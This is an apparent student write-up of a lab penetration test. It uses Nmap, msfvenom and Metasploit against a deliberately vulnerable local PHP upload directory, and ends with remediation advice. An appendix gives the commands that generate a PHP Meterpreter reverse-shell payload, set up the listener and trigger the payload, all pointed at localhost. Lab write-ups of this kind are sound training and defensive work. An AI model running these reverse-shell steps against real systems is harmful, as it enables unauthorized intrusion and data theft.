

Full Internal Penetration Testing Report

Metasploit-Based Internal Red Team Simulation

Prepared By	Nitin Sukthe
Project Type	Internal Penetration Testing Simulation
Testing Environment	Kali Linux Virtual Machine
Tools Used	Metasploit, Nmap, Meterpreter, PHP, Netcat
Assessment Date	May 2026

1. Executive Summary

This penetration testing engagement simulated a real-world internal Red Team assessment using a Kali Linux virtual machine and the Metasploit Framework. The objective of the assessment was to identify vulnerabilities within a simulated internal environment, gain unauthorized access through exploitation, perform post-exploitation activities, and document all findings professionally. During the engagement, vulnerable services were intentionally configured to simulate a realistic internal network. Reconnaissance activities identified multiple exposed services including a PHP web server and a custom TCP Echo service. A malicious Meterpreter reverse shell payload was successfully generated and executed through a vulnerable PHP upload directory, resulting in remote code execution and interactive shell access. The assessment demonstrated how insecure upload functionality and exposed internal services can lead to full system compromise if proper security controls are not implemented.

2. Scope of Assessment

The scope of this assessment included the following simulated systems and services: • Kali Linux Attacker Machine • Simulated local users (victim and webuser) • Vulnerable PHP upload directory • Local PHP development server on port 8080 • Internal TCP Echo service on port 9003 The assessment focused on: • Reconnaissance and enumeration • Service identification • Payload generation • Exploitation using Metasploit • Meterpreter session handling • Post-exploitation analysis • Documentation and remediation recommendations

3. Assessment Methodology

The penetration testing process followed standard Red Team and offensive security methodologies: 1. Environment Preparation Installed required offensive security tools and dependencies. 2. Reconnaissance Performed port scanning and service identification using Nmap. 3. Exploitation Generated and executed Meterpreter reverse shell payloads using Metasploit. 4. Post-Exploitation Conducted enumeration, file access validation, and shell interaction. 5. Reporting Documented vulnerabilities, exploitation paths, and remediation recommendations.

4. Environment Preparation

The testing environment was prepared by installing required tools including: • Ruby • Nmap • Netcat • PHP • Metasploit dependencies Commands Executed:

5. Simulated Victim Environment

Two local users were created to simulate internal users within an enterprise environment. A vulnerable PHP web application was deployed inside the webuser directory. The upload directory intentionally allowed execution of arbitrary PHP commands to simulate insecure file upload functionality. Sensitive data in the form of a simulated flag file was also stored within the upload directory for validation during post-exploitation.

6. Reconnaissance and Enumeration

Network reconnaissance was performed using Nmap to identify open ports and active services. Identified Services: • Port 22 — SSH Service • Port 8080 — PHP Web Server • Port 9003 — Echo TCP Service The Echo TCP service responded to arbitrary user input and simulated an internally exposed application service. The reconnaissance phase successfully identified the web application attack surface used later during exploitation.

7. Payload Generation and Exploitation

A PHP Meterpreter reverse shell payload was generated using msfvenom. The payload was uploaded into the vulnerable upload directory and executed through the local PHP web server. Metasploit multi/handler was configured to listen for incoming reverse connections. Once the payload was triggered using curl, a successful Meterpreter session was established. This demonstrated a successful Remote Code Execution (RCE) attack against the vulnerable PHP application.

8. Post-Exploitation Activities

After obtaining shell access, several post-exploitation actions were performed: • System information enumeration • User privilege validation • Directory and file listing • Retrieval of simulated sensitive files • Interactive shell access Meterpreter commands such as sysinfo, getuid, ls, and cat flag.txt were executed successfully. Additional shell commands including whoami, id, and uname -a validated the compromised environment.

9. Vulnerability Findings

Finding 1: Remote Code Execution via Insecure PHP Upload Directory Severity: Critical CVSS Score: 9.8 Description: The PHP upload directory allowed execution of arbitrary uploaded PHP files. An attacker could upload malicious PHP payloads and execute commands remotely. Impact: • Remote system compromise • Unauthorized shell access • Potential privilege escalation • Data exposure Evidence: • Successful Meterpreter session • Retrieval of simulated sensitive files Recommendations: • Disable PHP execution in upload directories • Validate uploaded file types • Restrict execution permissions • Implement Web Application Firewall protection • Conduct secure code reviews

10. Risk Analysis

The vulnerabilities identified during this assessment could allow attackers to establish persistent access within internal environments. Potential attacker activities include: • Lateral movement • Credential harvesting • Privilege escalation • Data exfiltration • Persistence installation Organizations with similar vulnerabilities are at significant risk of internal compromise.

11. Remediation Recommendations

The following remediation measures are recommended: • Restrict arbitrary file uploads • Disable script execution inside upload directories • Apply least privilege permissions • Conduct regular vulnerability assessments • Monitor suspicious internal services • Harden PHP configurations • Implement network segmentation • Deploy endpoint monitoring and logging

12. Skills Demonstrated

This project demonstrated practical offensive security and Red Team skills including: • Internal Penetration Testing • Reconnaissance and Enumeration • Exploitation using Metasploit • Payload Generation with msfvenom • Meterpreter Session Handling • Linux Enumeration • Post-Exploitation Analysis • Security Reporting and Documentation

13. Conclusion

This penetration testing simulation successfully replicated a real-world internal Red Team engagement within a controlled lab environment. The assessment demonstrated how vulnerable web applications and exposed internal services can be exploited to gain unauthorized access and perform post-exploitation activities. The project provided hands-on experience with reconnaissance, exploitation, Meterpreter usage, system enumeration, and professional reporting.

Appendix A — Commands Used

```
sudo apt update
sudo apt install -y ruby-full nmap netcat-traditional iproute2 php

nmap -p 22,8080,9003 127.0.0.1

msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4443 -f raw -o shell.php

msfconsole

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4443
run

curl http://127.0.0.1:8080/shell.php
```